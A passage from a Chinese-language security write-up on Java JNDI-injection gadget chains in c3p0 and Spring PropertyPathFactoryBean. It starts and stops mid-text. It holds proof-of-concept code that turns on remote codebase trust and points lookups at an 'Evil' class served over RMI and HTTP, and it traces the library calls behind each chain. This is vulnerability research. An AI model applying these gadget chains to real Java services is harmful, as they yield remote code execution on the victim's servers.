    public static void main(String[] args) throws SQLException, NamingException, ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException, NoSuchFieldException {
        System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");//JDK开启远程调用
        System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
        Class c=Class.forName("com.mchange.v2.c3p0.JndiRefForwardingDataSource");
        Constructor constructor=c.getConstructor(null);
        constructor.setAccessible(true);
        Object o=constructor.newInstance();
        Field f1=o.getClass().getSuperclass().getDeclaredField("jndiName");
        f1.setAccessible(true);
        f1.set(o,"rmi://127.0.0.1:1099/Evil");
        Method m1=o.getClass().getDeclaredMethod("dereference");
        m1.setAccessible(true);
        m1.invoke(o);
    }

如果考虑调用链，向上寻找调用函数inner()，inner()调用dereference()的前提是cachedInner不为空

（6）WrapperConnectionPoolDataSource

设置属性userOverridesAsString，那么就会在注册listener时，调用parseUserOverridesAsString。

该方法会对传入的数据进行反序列化操作，fromByteArray方法的最后包含一步Object.getObject操作。

最重要走到的是com.mchange.v2.naming.ReferenceIndirector$ReferenceSerialized，该类中具有InitialContext.lookup方法，并且具有getObject方法。那么想要将上述类与其串联，就要求fromByteArray方法中反序列化得到的Object是ReferenceIndirector或者是其底层接口IndirectlySerialized。

ReferenceSerialized类测试代码如下，如果要与上述WrapperConnectionPoolDataSource串联，则需要将ReferenceSerialized类对象进行反序列化，并赋值给属性userOverridesAsString。

    public static void main(String[] args) throws SQLException, NamingException, ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException, NoSuchFieldException {
        System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");//JDK开启远程调用
        System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
        Class refclz = Class.forName("com.mchange.v2.naming.ReferenceIndirector$ReferenceSerialized");
        Constructor con = refclz.getDeclaredConstructor(Reference.class, Name.class, Name.class, Hashtable.class);
        con.setAccessible(true);
        Reference jndiref = new Reference("Foo", "Evil", "http://127.0.0.1:1389");
        Object ref = con.newInstance(jndiref, null, null, null);
        Method m1=ref.getClass().getDeclaredMethod("getObject");
        m1.setAccessible(true);
        m1.invoke(ref);
    }

（7）PropertyPathFactoryBean

这个类最终用到的lookup是JndiTemplate类中的方法，SimpleJndiBeanFactory则是JndiTemplate的工厂类，也就是说SimpleJndiBeanFactory中的getBean方法可以调用到JndiTemplate。那么也就需要PropertyPathFactoryBean的beanFactory传入的是SimpleJndiBeanFactory。这样调用链大致是SimpleJndiBeanFactory.setBeanFactory -> SimpleJndiBeanFactory.getBean -> JndiTemplate.lookup。

另外，想要执行到PropertyPathFactoryBean的getBean那行，首先targetBeanName和propertyPath都不能为null，另外isSingleton需要为true（即，shareableResource属性中属需要有targetBeanName的值）。

// PropertyPathFactoryBean
public void setBeanFactory(BeanFactory beanFactory) {
        this.beanFactory = beanFactory;
        if (this.targetBeanWrapper != null && this.targetBeanName != null) {
            throw new IllegalArgumentException("Specify either 'targetObject' or 'targetBeanName', not both");
        } else {
            if (this.targetBeanWrapper == null && this.targetBeanName == null) {
                if (this.propertyPath != null) {
                    throw new IllegalArgumentException("Specify 'targetObject' or 'targetBeanName' in combination with 'propertyPath'");
                }
                ...
            } else if (this.propertyPath == null) {
                throw new IllegalArgumentException("'propertyPath' is required");
            }
 
            if (this.targetBeanWrapper == null && this.beanFactory.isSingleton(this.targetBeanName)) { //isSingleton
                Object bean = this.beanFactory.getBean(this.targetBeanName); //getBean
                this.targetBeanWrapper = PropertyAccessorFactory.forBeanPropertyAccess(bean);
                this.resultType = this.targetBeanWrapper.getPropertyType(this.propertyPath);
            }
        }
    }
 
//SimpleJndiBeanFactory
    public boolean isSingleton(String name) throws NoSuchBeanDefinitionException {
        return this.shareableResources.contains(name);
    }
 
    public Object getBean(String name) throws BeansException {
        return this.getBean(name, Object.class);
    }
 
    public  T getBean(String name, Class requiredType) throws BeansException {
        try {
            return this.isSingleton(name) ? this.doGetSingleton(name, requiredType) : this.lookup(name, requiredType);
        } ...
    }
 
    private  T doGetSingleton(String name, Class requiredType) throws NamingException {
        synchronized(this.singletonObjects) {
            Object jndiObject;
            if (this.singletonObjects.containsKey(name)) {
               ...
            } else {
                jndiObject = this.lookup(name, requiredType); //lookup
                this.singletonObjects.put(name, jndiObject);
                return jndiObject;
            }
        }
    }
 
//JndiLocatorSupport
protected  T lookup(String jndiName, Class requiredType) throws NamingException {
        ...
        try {
            jndiObject = this.getJndiTemplate().lookup(convertedName, requiredType);
        } ...
    }
 
// JndiTemplate
    public  T lookup(String name, Class requiredType) throws NamingException {
        Object jndiObject = this.lookup(name);...
    }
 
    public Object lookup(final String name) throws NamingException {
        ....
        return this.execute(new JndiCallback